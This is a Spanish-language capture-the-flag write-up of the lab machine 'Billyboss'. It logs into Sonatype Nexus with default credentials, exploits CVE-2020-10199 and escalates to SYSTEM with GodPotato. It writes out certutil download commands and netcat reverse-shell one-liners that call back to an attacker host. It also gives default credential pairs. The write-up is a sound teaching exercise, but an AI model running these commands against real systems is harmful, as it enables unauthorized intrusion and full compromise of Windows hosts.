Billyboss
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Billyboss expone Sonatype Nexus Repository Manager 3.21.0 en el 8081. Entramos con credenciales por defecto (nexus/nexus) y lanzamos la RCE autenticada CVE-2020-10199, cayendo comonathan. La cuenta tiene SeImpersonatePrivilege, así que con GodPotato (abuso de SeImpersonate, GodPotato) suplantamos el token de SYSTEM y ganamos NT AUTHORITY\SYSTEM.
Reconocimiento
Escaneo inicial
El TTL de respuesta es 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Entre los puertos abiertos destacan un IIS, un FTP y un Jetty:
ping -c 1 192.168.180.61
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.180.61PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
445/tcp open microsoft-ds
8081/tcp open httpnmap -p21,80,135,139,445,5040,8081 -sCV 192.168.180.61 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: BaGet
445/tcp open microsoft-ds
8081/tcp open http Jetty 9.4.18.v20190429
|_http-server-header: Nexus/3.21.0-05 (OSS)
|_http-title: Nexus Repository ManagerEl 80 es un BaGet (servidor NuGet) sin login que muestra paquetes, y el 8081 un Nexus Repository Manager. Nexus es el vector.
Nexus - TCP 8081
La cabecera del panel identifica Sonatype Nexus Repository Manager OSS 3.21.0-05:

Probamos credenciales por defecto: buscamos en SecLists las de Nexus y el default-passwords.csv lista nexus/nexus (y admin/admin123):
grep -ri 'sonatype nexus' /usr/share/seclists
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv:Sonatype Nexus Repository Manager,admin,admin123,https://help.sonatype.com/repomanager2/maven-and-other-build-tools/sbt
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv:Sonatype Nexus Repository Manager,nexus,nexus,En el diálogo Sign In de Nexus introducimos nexus/nexus:

La sesión se abre: el panel confirma "User signed in: nexus":

Sonatype Nexus Repository Manager OSS 3.21.0-05
Welcome - Learn about Sonatype Nexus Repository Manager
User signed in: nexussearchsploit confirma que esta versión arrastra una RCE autenticada:
searchsploit sonatype nexusSonatype Nexus 3.21.1 - Remote Code Execution (Authenticated) | java/webapps/49385.py (CVE-2020-10199)Explotación
CVE-2020-10199: RCE autenticada
La CVE-2020-10199 es una inyección de expresiones que, con sesión válida, ejecuta comandos en el servidor. Con Penelope a la escucha en el 4444:
penelope 4444Editamos el exploit con la URL, las credenciales nexus/nexus y un comando que descarga nc.exe con certutil y abre una reverse shell:
# En exp.py:
# CMD='cmd.exe /c certutil -urlcache -f http://192.168.45.211/nc.exe nc.exe && nc.exe -e cmd 192.168.45.211 4444'
python3 exp.py
Logging in
Logged in successfully
Command executed
[+] Got reverse shell from BILLYBOSS~192.168.180.61-Microsoft_Windows_10_Pro-x64 Assigned SessionID <1>
C:\Users\nathan\Nexus\nexus-3.21.0-05>whoami
billyboss\nathanObtenemos ejecución como billyboss\nathan.
Local
type Desktop\local.txt & whoami & ipconfig & hostname
8bf40ce3240f2089e22573df37634dac
billyboss\nathanEscalada de privilegios
SeImpersonatePrivilege con GodPotato
whoami /priv revela que nathan tiene SeImpersonatePrivilege habilitado. Es el privilegio típico de las cuentas de servicio y permite suplantar el token de un cliente que se autentique contra nosotros; los exploits de la familia Potato lo convierten en SYSTEM (abuso de SeImpersonate):
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledSeImpersonatePrivilege aparece Enabled. Comprobamos la versión de .NET instalada por el registro para elegir el binario adecuado: el NDP muestra v4.8.03752 (TargetVersion 4.0.0), así que usaremos la variante GodPotato-NET4.exe:
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse
Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP
Name Property
---- --------
v4
Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
Name Property
---- --------
Client CBS : 1
Install : 1
InstallPath : C:\Windows\Microsoft.NET\Framework\v4.0.30319\
Release : 528040
Servicing : 0
TargetVersion : 4.0.0
Version : 4.8.03752Usamos GodPotato (repo), que fuerza a un servicio DCOM a autenticarse contra un named pipe controlado y roba su token de SYSTEM (GodPotato). Lo descargamos en Kali, lo renombramos a gp.exe, lo servimos por HTTP y lo traemos con certutil a la víctima:
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
mv GodPotato-NET4.exe gp.exe
python3 -m http.server 80certutil.exe -f -urlcache -split http://192.168.45.211/gp.exe gp.exe
PS C:\Users\nathan\Nexus\nexus-3.21.0-05> certutil.exe -f -urlcache -split http://192.168.45.211/gp.exe gp.exe
**** Online ****
0000 ...
e000
CertUtil: -URLCache command completed successfully.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.180.61 - - [25/Jan/2026 22:20:01] "GET /gp.exe HTTP/1.1" 200 -
192.168.180.61 - - [25/Jan/2026 22:20:01] "GET /gp.exe HTTP/1.1" 200 -Antes de disparar la shell, dejamos un nc a la escucha:
rlwrap nc -nlvp 4445.\gp.exe -cmd ".\nc.exe 192.168.45.211 4445 -e cmd.exe"
[*] CreateNamedPipe \\.\pipe\a9077654-02f5-4e73-8482-4575eff35b89\pipe\epmapper
[*] Trigger RPCSS
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 840 Token:0x672 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] process start with pid 4116
connect to [192.168.45.211] from (UNKNOWN) [192.168.180.61] 50669
Microsoft Windows [Version 10.0.18362.719]
C:\Windows\system32>GodPotato encuentra el token de SYSTEM y el nc recibe la shell como nt authority\system.
Root
type proof.txt & ipconfig & hostname & whoami
001033b00d59f0dd332326f3d1d79178
nt authority\systemCadena de ataque
HTTP (8081) -- Sonatype Nexus 3.21.0 OSS
│ credenciales por defecto nexus/nexus
│ CVE-2020-10199: RCE autenticada -> reverse shell
▼
nathan (local.txt)
│ SeImpersonatePrivilege -> GodPotato
▼
SYSTEM (proof.txt)Lecciones aprendidas
- Las credenciales por defecto siguen abriendo puertas.
nexus/nexusdio la sesión que habilitaba la RCE; sin ellas la CVE-2020-10199 (autenticada) no servía. Cambiar las contraseñas de fábrica es el control más barato y el más olvidado. whoami /prives la primera parada en Windows. SeImpersonatePrivilege aparece en casi cualquier cuenta de servicio y es un billete directo a SYSTEM con la familia Potato. Revisar los privilegios del token antes que nada ahorra rodeos.- GodPotato generaliza el truco Potato a .NET moderno. Donde JuicyPotato ya no llega, GodPotato abusa de DCOM/RPC igual. Emparejar el exploit con la versión de .NET instalada es lo que lo hace funcionar.